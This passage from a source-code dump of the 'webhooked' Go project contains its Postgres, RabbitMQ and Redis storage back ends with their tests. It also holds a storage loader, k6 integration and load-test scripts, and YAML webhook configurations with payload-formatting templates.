= make(map[string]string, 0) 70 | } 71 | } 72 | 73 | if newClient.client, err = sqlx.Open("postgres", newClient.config.DatabaseURL.First()); err != nil { 74 | return nil, err 75 | } 76 | 77 | return &newClient, nil 78 | } 79 | 80 | // Name is the function for identified if the storage config is define in the webhooks 81 | // Run is made from external caller 82 | func (c storage) Name() string { 83 | return "postgres" 84 | } 85 | 86 | // Push is the function for push data in the storage. 87 | // The data is formatted with the formatting feature and be serialized by the 88 | // client with "toSql" method 89 | // A run is made from external caller 90 | // @param value that will be pushed 91 | // @return an error if the push failed 92 | func (c storage) Push(ctx context.Context, value []byte) error { 93 | // ! Deprecation notice: End of life in v1.0.0 94 | if !c.config.UseFormattingToPerformQuery { 95 | request := fmt.Sprintf("INSERT INTO %s(%s) VALUES ($1)", c.config.TableName, c.config.DataField) 96 | if _, err := c.client.Query(request, value); err != nil { 97 | return err 98 | } 99 | return nil 100 | } 101 | 102 | formatter, err := formatting.FromContext(ctx) 103 | if err != nil { 104 | return err 105 | } 106 | 107 | stmt, err := c.client.PrepareNamedContext(ctx, c.config.Query) 108 | if err != nil { 109 | return err 110 | } 111 | 112 | var namedArgs = make(map[string]interface{}, 0) 113 | for name, template := range c.config.Args { 114 | value, err := formatter. 115 | WithPayload(value). 116 | WithTemplate(template). 117 | WithData("FieldName", name). 118 | Render() 119 | if err != nil { 120 | return err 121 | } 122 | 123 | namedArgs[name] = value 124 | } 125 | 126 | _, err = stmt.QueryContext(ctx, namedArgs) 127 | return err 128 | } 129 | -------------------------------------------------------------------------------- /pkg/storage/postgres/postgres_test.go: -------------------------------------------------------------------------------- 1 | package postgres 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | "testing" 8 | 9 | "atomys.codes/webhooked/pkg/formatting" 10 | "github.com/jmoiron/sqlx" 11 | "github.com/stretchr/testify/assert" 12 | "github.com/stretchr/testify/suite" 13 | ) 14 | 15 | type PostgresSetupTestSuite struct { 16 | suite.Suite 17 | client *sqlx.DB 18 | databaseUrl string 19 | ctx context.Context 20 | } 21 | 22 | // Create Table for running test 23 | func (suite *PostgresSetupTestSuite) BeforeTest(suiteName, testName string) { 24 | var err error 25 | 26 | suite.databaseUrl = fmt.Sprintf( 27 | "postgresql://%s:%s@%s:%s/%s?sslmode=disable", 28 | os.Getenv("POSTGRES_USER"), 29 | os.Getenv("POSTGRES_PASSWORD"), 30 | os.Getenv("POSTGRES_HOST"), 31 | os.Getenv("POSTGRES_PORT"), 32 | os.Getenv("POSTGRES_DB"), 33 | ) 34 | 35 | if suite.client, err = sqlx.Open("postgres", suite.databaseUrl); err != nil { 36 | suite.T().Error(err) 37 | } 38 | if _, err := suite.client.Query("CREATE TABLE test (test_field TEXT)"); err != nil { 39 | suite.T().Error(err) 40 | } 41 | 42 | suite.ctx = formatting.ToContext( 43 | context.Background(), 44 | formatting.New().WithTemplate("{{.}}"), 45 | ) 46 | 47 | } 48 | 49 | // Delete Table after test 50 | func (suite *PostgresSetupTestSuite) AfterTest(suiteName, testName string) { 51 | if _, err := suite.client.Query("DROP TABLE test"); err != nil { 52 | suite.T().Error(err) 53 | } 54 | } 55 | 56 | func (suite *PostgresSetupTestSuite) TestPostgresName() { 57 | newPostgres := storage{} 58 | assert.Equal(suite.T(), "postgres", newPostgres.Name()) 59 | } 60 | 61 | func (suite *PostgresSetupTestSuite) TestPostgresNewStorage() { 62 | _, err := NewStorage(map[string]interface{}{ 63 | "databaseUrl": []int{1}, 64 | }) 65 | assert.Error(suite.T(), err) 66 | 67 | _, err = NewStorage(map[string]interface{}{ 68 | "databaseUrl": suite.databaseUrl, 69 | "tableName": "test", 70 | "dataField": "test_field", 71 | }) 72 | assert.NoError(suite.T(), err) 73 | 74 | _, err = NewStorage(map[string]interface{}{ 75 | "databaseUrl": suite.databaseUrl, 76 | "tableName": "test", 77 | "useFormattingToPerformQuery": true, 78 | }) 79 | assert.Error(suite.T(), err) 80 | 81 | _, err = NewStorage(map[string]interface{}{ 82 | "databaseUrl": suite.databaseUrl, 83 | "useFormattingToPerformQuery": true, 84 | "query": "", 85 | }) 86 | assert.Error(suite.T(), err) 87 | 88 | _, err = NewStorage(map[string]interface{}{ 89 | "databaseUrl": suite.databaseUrl, 90 | "useFormattingToPerformQuery": true, 91 | "query": "INSERT INTO test (test_field) VALUES ('$field')", 92 | }) 93 | assert.NoError(suite.T(), err) 94 | } 95 | 96 | func (suite *PostgresSetupTestSuite) TestPostgresPush() { 97 | newClient, _ := NewStorage(map[string]interface{}{ 98 | "databaseUrl": suite.databaseUrl, 99 | "tableName": "Not Exist", 100 | "dataField": "Not exist", 101 | }) 102 | err := newClient.Push(suite.ctx, []byte("Hello")) 103 | assert.Error(suite.T(), err) 104 | 105 | newClient, err = NewStorage(map[string]interface{}{ 106 | "databaseUrl": suite.databaseUrl, 107 | "tableName": "test", 108 | "dataField": "test_field", 109 | }) 110 | assert.NoError(suite.T(), err) 111 | 112 | err = newClient.Push(suite.ctx, []byte("Hello")) 113 | assert.NoError(suite.T(), err) 114 | } 115 | 116 | func (suite *PostgresSetupTestSuite) TestPostgresPushNewFormattedQuery() { 117 | newClient, err := NewStorage(map[string]interface{}{ 118 | "databaseUrl": suite.databaseUrl, 119 | "useFormattingToPerformQuery": true, 120 | "query": "INSERT INTO test (test_field) VALUES (:field)", 121 | "args": map[string]string{ 122 | "field": "{{.Payload}}", 123 | }, 124 | }) 125 | assert.NoError(suite.T(), err) 126 | 127 | fakePayload := []byte("A strange payload") 128 | err = newClient.Push( 129 | suite.ctx, 130 | fakePayload, 131 | ) 132 | assert.NoError(suite.T(), err) 133 | 134 | rows, err := suite.client.Query("SELECT test_field FROM test") 135 | assert.NoError(suite.T(), err) 136 | 137 | var result string 138 | for rows.Next() { 139 | err := rows.Scan(&result) 140 | assert.NoError(suite.T(), err) 141 | } 142 | assert.Equal(suite.T(), string(fakePayload), result) 143 | } 144 | 145 | func TestRunPostgresPush(t *testing.T) { 146 | if testing.Short() { 147 | t.Skip("postgresql testing is skiped in short version of test") 148 | return 149 | } 150 | 151 | suite.Run(t, new(PostgresSetupTestSuite)) 152 | } 153 | -------------------------------------------------------------------------------- /pkg/storage/rabbitmq/rabbitmq.go: -------------------------------------------------------------------------------- 1 | package rabbitmq 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "time" 7 | 8 | "github.com/rs/zerolog/log" 9 | "github.com/streadway/amqp" 10 | 11 | "atomys.codes/webhooked/internal/valuable" 12 | ) 13 | 14 | // storage is the struct contains client and config 15 | // Run is made from external caller at begins programs 16 | type storage struct { 17 | config *config 18 | client *amqp.Connection 19 | channel *amqp.Channel 20 | routingKey amqp.Queue 21 | } 22 | 23 | // config is the struct contains config for connect client 24 | // Run is made from internal caller 25 | type config struct { 26 | DatabaseURL valuable.Valuable `mapstructure:"databaseUrl" json:"databaseUrl"` 27 | QueueName string `mapstructure:"queueName" json:"queueName"` 28 | DefinedContentType string `mapstructure:"contentType" json:"contentType"` 29 | Durable bool `mapstructure:"durable" json:"durable"` 30 | DeleteWhenUnused bool `mapstructure:"deleteWhenUnused" json:"deleteWhenUnused"` 31 | Exclusive bool `mapstructure:"exclusive" json:"exclusive"` 32 | NoWait bool `mapstructure:"noWait" json:"noWait"` 33 | Mandatory bool `mapstructure:"mandatory" json:"mandatory"` 34 | Immediate bool `mapstructure:"immediate" json:"immediate"` 35 | Exchange string `mapstructure:"exchange" json:"exchange"` 36 | } 37 | 38 | const maxAttempt = 5 39 | 40 | // ContentType is the function for get content type used to push data in the 41 | // storage. When no content type is defined, the default one is used instead 42 | // Default: text/plain 43 | func (c *config) ContentType() string { 44 | if c.DefinedContentType != "" { 45 | return c.DefinedContentType 46 | } 47 | 48 | return "text/plain" 49 | } 50 | 51 | // NewStorage is the function for create new RabbitMQ client storage 52 | // Run is made from external caller at begins programs 53 | // @param config contains config define in the webhooks yaml file 54 | // @return RabbitMQStorage the struct contains client connected and config 55 | // @return an error if the the client is not initialized successfully 56 | func NewStorage(configRaw map[string]interface{}) (*storage, error) { 57 | var err error 58 | 59 | newClient := storage{ 60 | config: &config{}, 61 | } 62 | 63 | if err := valuable.Decode(configRaw, &newClient.config); err != nil { 64 | return nil, err 65 | } 66 | 67 | if newClient.client, err = amqp.Dial(newClient.config.DatabaseURL.First()); err != nil { 68 | return nil, err 69 | } 70 | 71 | if newClient.channel, err = newClient.client.Channel(); err != nil { 72 | return nil, err 73 | } 74 | 75 | go func() { 76 | for { 77 | reason := <-newClient.client.NotifyClose(make(chan *amqp.Error)) 78 | log.Warn().Msgf("connection to rabbitmq closed, reason: %v", reason) 79 | 80 | newClient.reconnect() 81 | } 82 | }() 83 | 84 | if newClient.routingKey, err = newClient.channel.QueueDeclare( 85 | newClient.config.QueueName, 86 | newClient.config.Durable, 87 | newClient.config.DeleteWhenUnused, 88 | newClient.config.Exclusive, 89 | newClient.config.NoWait, 90 | nil, 91 | ); err != nil { 92 | return nil, err 93 | } 94 | 95 | return &newClient, nil 96 | } 97 | 98 | // Name is the function for identified if the storage config is define in the webhooks 99 | // Run is made from external caller 100 | func (c *storage) Name() string { 101 | return "rabbitmq" 102 | } 103 | 104 | // Push is the function for push data in the storage 105 | // A run is made from external caller 106 | // @param value that will be pushed 107 | // @return an error if the push failed 108 | func (c *storage) Push(ctx context.Context, value []byte) error { 109 | for attempt := 0; attempt < maxAttempt; attempt++ { 110 | err := c.channel.Publish( 111 | c.config.Exchange, 112 | c.routingKey.Name, 113 | c.config.Mandatory, 114 | c.config.Immediate, 115 | amqp.Publishing{ 116 | ContentType: c.config.ContentType(), 117 | Body: value, 118 | }) 119 | 120 | if err != nil { 121 | if errors.Is(err, amqp.ErrClosed) { 122 | log.Warn().Err(err).Msg("connection to rabbitmq closed. reconnecting...") 123 | c.reconnect() 124 | continue 125 | } else { 126 | return err 127 | } 128 | } 129 | return nil 130 | } 131 | 132 | return errors.New("max attempt to publish reached") 133 | } 134 | 135 | // reconnect is the function to reconnect to the amqp server if the connection 136 | // is lost. It will try to reconnect every seconds until it succeed to connect 137 | func (c *storage) reconnect() { 138 | for { 139 | // wait 1s for reconnect 140 | time.Sleep(time.Second) 141 | 142 | conn, err := amqp.Dial(c.config.DatabaseURL.First()) 143 | if err == nil { 144 | c.client = conn 145 | c.channel, err = c.client.Channel() 146 | if err != nil { 147 | log.Error().Err(err).Msg("channel cannot be connected") 148 | continue 149 | } 150 | log.Debug().Msg("reconnect success") 151 | break 152 | } 153 | 154 | log.Error().Err(err).Msg("reconnect failed") 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /pkg/storage/rabbitmq/rabbitmq_test.go: -------------------------------------------------------------------------------- 1 | package rabbitmq 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/assert" 10 | "github.com/stretchr/testify/suite" 11 | ) 12 | 13 | type RabbitMQSetupTestSuite struct { 14 | suite.Suite 15 | amqpUrl string 16 | } 17 | 18 | func (suite *RabbitMQSetupTestSuite) TestRabbitMQName() { 19 | newRabbitMQ := storage{} 20 | assert.Equal(suite.T(), "rabbitmq", newRabbitMQ.Name()) 21 | } 22 | 23 | // Create Table for running test 24 | func (suite *RabbitMQSetupTestSuite) BeforeTest(suiteName, testName string) { 25 | suite.amqpUrl = fmt.Sprintf( 26 | "amqp://%s:%s@%s:%s", 27 | os.Getenv("RABBITMQ_USER"), 28 | os.Getenv("RABBITMQ_PASSWORD"), 29 | os.Getenv("RABBITMQ_HOST"), 30 | os.Getenv("RABBITMQ_PORT"), 31 | ) 32 | } 33 | 34 | func (suite *RabbitMQSetupTestSuite) TestRabbitMQNewStorage() { 35 | _, err := NewStorage(map[string]interface{}{ 36 | "databaseUrl": []int{1}, 37 | }) 38 | assert.Error(suite.T(), err) 39 | 40 | _, err = NewStorage(map[string]interface{}{ 41 | "databaseUrl": suite.amqpUrl, 42 | "queueName": "hello", 43 | "durable": false, 44 | "deleteWhenUnused": false, 45 | "exclusive": false, 46 | "noWait": false, 47 | "mandatory": false, 48 | "immediate": false, 49 | }) 50 | assert.NoError(suite.T(), err) 51 | 52 | _, err = NewStorage(map[string]interface{}{ 53 | "databaseUrl": "amqp://user:", 54 | }) 55 | assert.Error(suite.T(), err) 56 | } 57 | 58 | func (suite *RabbitMQSetupTestSuite) TestRabbitMQPush() { 59 | newClient, err := NewStorage(map[string]interface{}{ 60 | "databaseUrl": suite.amqpUrl, 61 | "queueName": "hello", 62 | "contentType": "text/plain", 63 | "durable": false, 64 | "deleteWhenUnused": false, 65 | "exclusive": false, 66 | "noWait": false, 67 | "mandatory": false, 68 | "immediate": false, 69 | }) 70 | assert.NoError(suite.T(), err) 71 | 72 | err = newClient.Push(context.Background(), []byte("Hello")) 73 | assert.NoError(suite.T(), err) 74 | } 75 | 76 | func TestRunRabbitMQPush(t *testing.T) { 77 | if testing.Short() { 78 | t.Skip("rabbitmq testing is skiped in short version of test") 79 | return 80 | } 81 | 82 | suite.Run(t, new(RabbitMQSetupTestSuite)) 83 | } 84 | 85 | func TestContentType(t *testing.T) { 86 | assert.Equal(t, "text/plain", (&config{}).ContentType()) 87 | assert.Equal(t, "text/plain", (&config{DefinedContentType: ""}).ContentType()) 88 | assert.Equal(t, "application/json", (&config{DefinedContentType: "application/json"}).ContentType()) 89 | } 90 | 91 | func (suite *RabbitMQSetupTestSuite) TestReconnect() { 92 | if testing.Short() { 93 | suite.T().Skip("rabbitmq testing is skiped in short version of test") 94 | return 95 | } 96 | 97 | newClient, err := NewStorage(map[string]interface{}{ 98 | "databaseUrl": suite.amqpUrl, 99 | "queueName": "hello", 100 | "contentType": "text/plain", 101 | "durable": false, 102 | "deleteWhenUnused": false, 103 | "exclusive": false, 104 | "noWait": false, 105 | "mandatory": false, 106 | "immediate": false, 107 | }) 108 | assert.NoError(suite.T(), err) 109 | 110 | assert.NoError(suite.T(), newClient.Push(context.Background(), []byte("Hello"))) 111 | assert.NoError(suite.T(), newClient.client.Close()) 112 | assert.NoError(suite.T(), newClient.Push(context.Background(), []byte("Hello"))) 113 | assert.NoError(suite.T(), newClient.channel.Close()) 114 | assert.NoError(suite.T(), newClient.Push(context.Background(), []byte("Hello"))) 115 | } 116 | -------------------------------------------------------------------------------- /pkg/storage/redis/redis.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/go-redis/redis/v8" 8 | 9 | "atomys.codes/webhooked/internal/valuable" 10 | ) 11 | 12 | type storage struct { 13 | client *redis.Client 14 | config *config 15 | } 16 | 17 | type config struct { 18 | Host valuable.Valuable `mapstructure:"host" json:"host"` 19 | Port valuable.Valuable `mapstructure:"port" json:"port"` 20 | Username valuable.Valuable `mapstructure:"username" json:"username"` 21 | Password valuable.Valuable `mapstructure:"password" json:"password"` 22 | Database int `mapstructure:"database" json:"database"` 23 | Key string `mapstructure:"key" json:"key"` 24 | } 25 | 26 | // NewStorage is the function for create new Redis storage client 27 | // Run is made from external caller at begins programs 28 | // @param config contains config define in the webhooks yaml file 29 | // @return RedisStorage the struct contains client connected and config 30 | // @return an error if the the client is not initialized successfully 31 | func NewStorage(configRaw map[string]interface{}) (*storage, error) { 32 | 33 | newClient := storage{ 34 | config: &config{}, 35 | } 36 | 37 | if err := valuable.Decode(configRaw, &newClient.config); err != nil { 38 | return nil, err 39 | } 40 | 41 | newClient.client = redis.NewClient( 42 | &redis.Options{ 43 | Addr: fmt.Sprintf("%s:%s", newClient.config.Host, newClient.config.Port), 44 | Username: newClient.config.Username.First(), 45 | Password: newClient.config.Password.First(), 46 | DB: newClient.config.Database, 47 | }, 48 | ) 49 | 50 | // Ping Redis for testing config 51 | if err := newClient.client.Ping(context.Background()).Err(); err != nil { 52 | return nil, err 53 | } 54 | 55 | return &newClient, nil 56 | } 57 | 58 | // Name is the function for identified if the storage config is define in the webhooks 59 | // @return name of the storage 60 | func (c storage) Name() string { 61 | return "redis" 62 | } 63 | 64 | // Push is the function for push data in the storage 65 | // A run is made from external caller 66 | // @param value that will be pushed 67 | // @return an error if the push failed 68 | func (c storage) Push(ctx context.Context, value []byte) error { 69 | if err := c.client.RPush(ctx, c.config.Key, value).Err(); err != nil { 70 | return err 71 | } 72 | 73 | return nil 74 | } 75 | -------------------------------------------------------------------------------- /pkg/storage/redis/redis_test.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "context" 5 | "os" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | "github.com/stretchr/testify/suite" 10 | ) 11 | 12 | type RedisSetupTestSuite struct { 13 | suite.Suite 14 | } 15 | 16 | func (suite *RedisSetupTestSuite) TestRedisName() { 17 | newRedis := storage{} 18 | assert.Equal(suite.T(), "redis", newRedis.Name()) 19 | } 20 | 21 | func (suite *RedisSetupTestSuite) TestRedisNewStorage() { 22 | _, err := NewStorage(map[string]interface{}{ 23 | "host": []int{1}, 24 | }) 25 | assert.Error(suite.T(), err) 26 | 27 | _, err = NewStorage(map[string]interface{}{}) 28 | assert.Error(suite.T(), err) 29 | 30 | _, err = NewStorage(map[string]interface{}{ 31 | "host": os.Getenv("REDIS_HOST"), 32 | "port": os.Getenv("REDIS_PORT"), 33 | "database": 0, 34 | "key": "testKey", 35 | }) 36 | assert.NoError(suite.T(), err) 37 | } 38 | 39 | func (suite *RedisSetupTestSuite) TestRedisPush() { 40 | newClient, err := NewStorage(map[string]interface{}{ 41 | "host": os.Getenv("REDIS_HOST"), 42 | "port": os.Getenv("REDIS_PORT"), 43 | "database": 0, 44 | "key": "testKey", 45 | }) 46 | assert.NoError(suite.T(), err) 47 | 48 | err = newClient.Push(context.Background(), []byte("Hello")) 49 | assert.NoError(suite.T(), err) 50 | } 51 | 52 | func TestRunRedisPush(t *testing.T) { 53 | if testing.Short() { 54 | t.Skip("redis testing is skiped in short version of test") 55 | return 56 | } 57 | 58 | suite.Run(t, new(RedisSetupTestSuite)) 59 | } 60 | -------------------------------------------------------------------------------- /pkg/storage/storage.go: -------------------------------------------------------------------------------- 1 | package storage 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "atomys.codes/webhooked/pkg/storage/postgres" 8 | "atomys.codes/webhooked/pkg/storage/rabbitmq" 9 | "atomys.codes/webhooked/pkg/storage/redis" 10 | ) 11 | 12 | // Pusher is the interface for storage pusher 13 | // The name must be unique and must be the same as the storage type, the Push 14 | // function will be called with the receiving data 15 | type Pusher interface { 16 | // Get the name of the storage 17 | // Will be unique across all storages 18 | Name() string 19 | // Method call when insert new data in the storage 20 | Push(ctx context.Context, value []byte) error 21 | } 22 | 23 | // Load will fetch and return the built-in storage based on the given 24 | // storageType params and initialize it with given storageSpecs given 25 | func Load(storageType string, storageSpecs map[string]interface{}) (pusher Pusher, err error) { 26 | switch storageType { 27 | case "redis": 28 | pusher, err = redis.NewStorage(storageSpecs) 29 | case "postgres": 30 | pusher, err = postgres.NewStorage(storageSpecs) 31 | case "rabbitmq": 32 | pusher, err = rabbitmq.NewStorage(storageSpecs) 33 | default: 34 | err = fmt.Errorf("storage %s is undefined", storageType) 35 | } 36 | return 37 | } 38 | -------------------------------------------------------------------------------- /pull_request_template.md: -------------------------------------------------------------------------------- 1 | **Relative Issues:** 2 | 3 | **Describe the pull request** 4 | 5 | 6 | **Checklist** 7 | 8 | - [ ] I have linked the relative issue to this pull request 9 | - [ ] I have made the modifications or added tests related to my PR 10 | - [ ] I have added/updated the documentation for my RP 11 | - [ ] I put my PR in Ready for Review only when all the checklist is checked 12 | 13 | **Breaking changes ?** 14 | yes/no 15 | 16 | **Additional context** 17 | 18 | -------------------------------------------------------------------------------- /tests/integrations/options.js: -------------------------------------------------------------------------------- 1 | import { Httpx } from 'https://jslib.k6.io/httpx/0.0.6/index.js'; 2 | import chai from 'https://jslib.k6.io/k6chaijs/4.3.4.3/index.js'; 3 | import redis from 'k6/experimental/redis'; 4 | 5 | chai.config.aggregateChecks = false; 6 | chai.config.logFailures = true; 7 | 8 | export const session = (testName) => { 9 | const session = new Httpx({ 10 | baseURL: baseIntegrationURL + '/' + testName, 11 | headers: { 12 | 'Content-Type': 'application/json', 13 | 'X-Token': 'integration-test', 14 | } 15 | }); 16 | return session; 17 | } 18 | 19 | export const redisClient = new redis.Client({ 20 | socket: { 21 | host: __ENV.REDIS_HOST, 22 | port: 6379, 23 | }, 24 | password: __ENV.REDIS_PASSWORD, 25 | }); 26 | 27 | export const k6Options = { 28 | thresholds: { 29 | checks: ['rate == 1.00'], 30 | http_req_failed: ['rate == 0.00'], 31 | }, 32 | vus: 1, 33 | iterations: 1 34 | }; 35 | 36 | export const baseIntegrationURL = 'http://localhost:8080/v1alpha1/integration'; 37 | -------------------------------------------------------------------------------- /tests/integrations/scenarios.js: -------------------------------------------------------------------------------- 1 | import { randomString } from 'https://jslib.k6.io/k6-utils/1.2.0/index.js'; 2 | import { describe, expect } from 'https://jslib.k6.io/k6chaijs/4.3.4.3/index.js'; 3 | import { redisClient, session } from './options.js'; 4 | 5 | const randomName = randomString(10); 6 | 7 | export const scenarios = [ 8 | { 9 | name: 'basic-usage', 10 | description: 'should return 200 with the payload not formatted.', 11 | payload: { 12 | message: `Hello basic, ${randomName}!`, 13 | }, 14 | expected: { 15 | message: `Hello basic, ${randomName}!`, 16 | }, 17 | expectedResponse: '' 18 | }, 19 | { 20 | name: 'basic-formatted-usage', 21 | description: 'should return 200 with a basic formatting.', 22 | payload: { 23 | message: `Hello formatted, ${randomName}!`, 24 | }, 25 | expected: { 26 | "contentType": "application/json", 27 | data: { 28 | message: `Hello formatted, ${randomName}!`, 29 | } 30 | }, 31 | expectedResponse: '' 32 | }, 33 | { 34 | name: 'basic-response', 35 | description: 'should return 200 with a response asked.', 36 | payload: { 37 | id: randomName, 38 | }, 39 | expected: { 40 | id: randomName, 41 | }, 42 | expectedResponse: randomName 43 | }, 44 | { 45 | name: 'advanced-formatted-usage', 46 | description: 'should return 200 with an advanced formatting.', 47 | payload: { 48 | "id": 12345, 49 | "name": "John Doe", 50 | "childrens": [ 51 | { 52 | "name": "Jane", 53 | "age": 5 54 | }, 55 | { 56 | "name": "Bob", 57 | "age": 8 58 | } 59 | ], 60 | "pets": [], 61 | "favoriteColors": { 62 | "primary": null, 63 | "secondary": "blue" 64 | }, 65 | "lastLogin": "2023-06-28T18:30:00Z", 66 | "notes": null 67 | }, 68 | expected: { 69 | user: {id: 12345, name: 'John Doe'}, 70 | hasNotes: false, 71 | hasChildrens: true, 72 | childrenNames: ['Jane', 'Bob'], 73 | hasPets: false, 74 | favoriteColor: 'blue', 75 | }, 76 | expectedResponse: '' 77 | }, 78 | ] 79 | 80 | 81 | 82 | const testSuite = () => { 83 | scenarios.forEach((test) => { 84 | describe(`${test.description} [${test.name}]`, async () => { 85 | const res = session(test.name).post('', JSON.stringify(test.payload), test.configuration); 86 | expect(res.status).to.equal(200); 87 | 88 | const storedValue = await redisClient.lpop(`integration:${test.name}`); 89 | console.log(`[${test.name}]`, storedValue); 90 | 91 | expect(JSON.parse(storedValue)).to.deep.equal(test.expected); 92 | expect(res.body).to.equal(test.expectedResponse) 93 | }) 94 | }); 95 | } 96 | 97 | export default testSuite; 98 | -------------------------------------------------------------------------------- /tests/integrations/webhooked_config.integration.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1alpha1 2 | observability: 3 | metricsEnabled: true 4 | specs: 5 | - name: basic-usage 6 | entrypointUrl: /integration/basic-usage 7 | security: 8 | - header: 9 | inputs: 10 | - name: headerName 11 | value: X-Token 12 | - compare: 13 | inputs: 14 | - name: first 15 | value: '{{ .Outputs.header.value }}' 16 | - name: second 17 | valueFrom: 18 | staticRef: integration-test 19 | storage: 20 | - type: redis 21 | specs: 22 | host: 23 | valueFrom: 24 | envRef: REDIS_HOST 25 | # Port of the Redis Server 26 | port: '6379' 27 | # In which database do you want to store your data 28 | database: 0 29 | # The key where you want to send the data 30 | key: integration:basic-usage 31 | 32 | - name: basic-formatted-usage 33 | entrypointUrl: /integration/basic-formatted-usage 34 | security: 35 | - header: 36 | inputs: 37 | - name: headerName 38 | value: X-Token 39 | - compare: 40 | inputs: 41 | - name: first 42 | value: '{{ .Outputs.header.value }}' 43 | - name: second 44 | valueFrom: 45 | staticRef: integration-test 46 | formatting: 47 | templateString: | 48 | { 49 | "contentType": "{{ .Request.Header | getHeader "Content-Type" }}", 50 | "data": {{ .Payload }} 51 | } 52 | storage: 53 | - type: redis 54 | specs: 55 | host: 56 | valueFrom: 57 | envRef: REDIS_HOST 58 | # Port of the Redis Server 59 | port: '6379' 60 | # In which database do you want to store your data 61 | database: 0 62 | # The key where you want to send the data 63 | key: integration:basic-formatted-usage 64 | 65 | - name: basic-response 66 | entrypointUrl: /integration/basic-response 67 | response: 68 | formatting: 69 | templateString: '{{ fromJson .Payload | lookup "id" }}' 70 | httpCode: 200 71 | security: 72 | - header: 73 | inputs: 74 | - name: headerName 75 | value: X-Token 76 | - compare: 77 | inputs: 78 | - name: first 79 | value: '{{ .Outputs.header.value }}' 80 | - name: second 81 | valueFrom: 82 | staticRef: integration-test 83 | storage: 84 | - type: redis 85 | specs: 86 | host: 87 | valueFrom: 88 | envRef: REDIS_HOST 89 | # Port of the Redis Server 90 | port: '6379' 91 | # In which database do you want to store your data 92 | database: 0 93 | # The key where you want to send the data 94 | key: integration:basic-response 95 | 96 | - name: advanced-formatted-usage 97 | entrypointUrl: /integration/advanced-formatted-usage 98 | security: 99 | - header: 100 | inputs: 101 | - name: headerName 102 | value: X-Token 103 | - compare: 104 | inputs: 105 | - name: first 106 | value: '{{ .Outputs.header.value }}' 107 | - name: second 108 | valueFrom: 109 | staticRef: integration-test 110 | formatting: 111 | templateString: | 112 | {{ with $payload := fromJson .Payload }} 113 | { 114 | "user": { 115 | "id": {{ $payload.id }}, 116 | "name": {{ $payload.name | toJson }} 117 | }, 118 | "hasNotes": {{ not (empty $payload.notes) }}, 119 | "hasChildrens": {{ not (empty $payload.childrens) }}, 120 | "hasPets": {{ not (empty $payload.pets) }}, 121 | {{- with $fc := $payload.favoriteColors }} 122 | "favoriteColor": {{ coalesce $fc.primary $fc.secondary "black" | toJson }}, 123 | {{- end }} 124 | "childrenNames": [ 125 | {{- range $index, $child := $payload.childrens -}} {{ $child.name | toJson }} 126 | {{- if lt $index (toInt (sub (len $payload.childrens) 1)) -}},{{- end -}} 127 | {{- end -}} 128 | ] 129 | } 130 | {{ end }} 131 | storage: 132 | - type: redis 133 | specs: 134 | host: 135 | valueFrom: 136 | envRef: REDIS_HOST 137 | # Port of the Redis Server 138 | port: '6379' 139 | # In which database do you want to store your data 140 | database: 0 141 | # The key where you want to send the data 142 | key: integration:advanced-formatted-usage -------------------------------------------------------------------------------- /tests/loadtesting/k6_load_script.js: -------------------------------------------------------------------------------- 1 | import http from 'k6/http'; 2 | 3 | export const options = { 4 | stages: [ 5 | { duration: '5s', target: 10 }, 6 | { duration: '10s', target: 200 }, 7 | { duration: '10s', target: 1000 }, 8 | { duration: '10s', target: 1000 }, 9 | { duration: '10s', target: 100 }, 10 | { duration: '10m', target: 100 }, 11 | { duration: '10s', target: 10 }, 12 | { duration: '5s', target: 0 }, 13 | ], 14 | thresholds: { 15 | http_req_failed: ['rate<0.0001'], 16 | http_req_duration: ['p(95)<50', 'p(99.9) < 100'], 17 | }, 18 | }; 19 | 20 | export default function () { 21 | const url = 'http://localhost:8080/v1alpha1/webhooks/example'; 22 | const payload = JSON.stringify({ 23 | data: {}, 24 | timestamp: Date.now(), 25 | }); 26 | 27 | const params = { 28 | headers: { 29 | 'Content-Type': 'application/json', 30 | 'X-Hook-Secret': 'test' 31 | }, 32 | }; 33 | 34 | http.post(url, payload, params); 35 | } 36 | -------------------------------------------------------------------------------- /tests/loadtesting/webhooks.tests.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1alpha1 2 | observability: 3 | metricsEnabled: true 4 | specs: 5 | - name: exampleHook 6 | entrypointUrl: /webhooks/example 7 | security: 8 | - header: 9 | inputs: 10 | - name: headerName 11 | value: X-Hook-Secret 12 | - compare: 13 | inputs: 14 | - name: first 15 | value: '{{ .Outputs.header.value }}' 16 | - name: second 17 | valueFrom: 18 | staticRef: test 19 | formatting: 20 | templateString: | 21 | { 22 | "config": "{{ toJson .Config }}", 23 | "storage": {{ toJson .Storage }}, 24 | "metadata": { 25 | "model": "{{ .Request.Header | getHeader "X-Model" }}", 26 | "event": "{{ .Request.Header | getHeader "X-Event" }}", 27 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 28 | }, 29 | "payload": {{ .Payload }} 30 | } 31 | storage: [] -------------------------------------------------------------------------------- /tests/simple_template.tpl: -------------------------------------------------------------------------------- 1 | {{ .Request.Method }} -------------------------------------------------------------------------------- /tests/template.tpl: -------------------------------------------------------------------------------- 1 | { 2 | "config": "{{ toJson .Config }}", 3 | "storage": {{ toJson .Storage }}, 4 | "metadata": { 5 | "model": "{{ .Request.Header | getHeader "X-Model" }}", 6 | "event": "{{ .Request.Header | getHeader "X-Event" }}", 7 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 8 | }, 9 | "payload": {{ .Payload }} 10 | } -------------------------------------------------------------------------------- /tests/webhooks.tests.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1alpha1_test 2 | observability: 3 | metricsEnabled: true 4 | specs: 5 | - name: exampleHook 6 | entrypointUrl: /webhooks/example 7 | response: 8 | formatting: 9 | templateString: '{{ .Payload }}' 10 | httpCode: 200 11 | security: 12 | - header: 13 | id: secretHeader 14 | inputs: 15 | - name: headerName 16 | value: X-Hook-Secret 17 | - compare: 18 | inputs: 19 | - name: 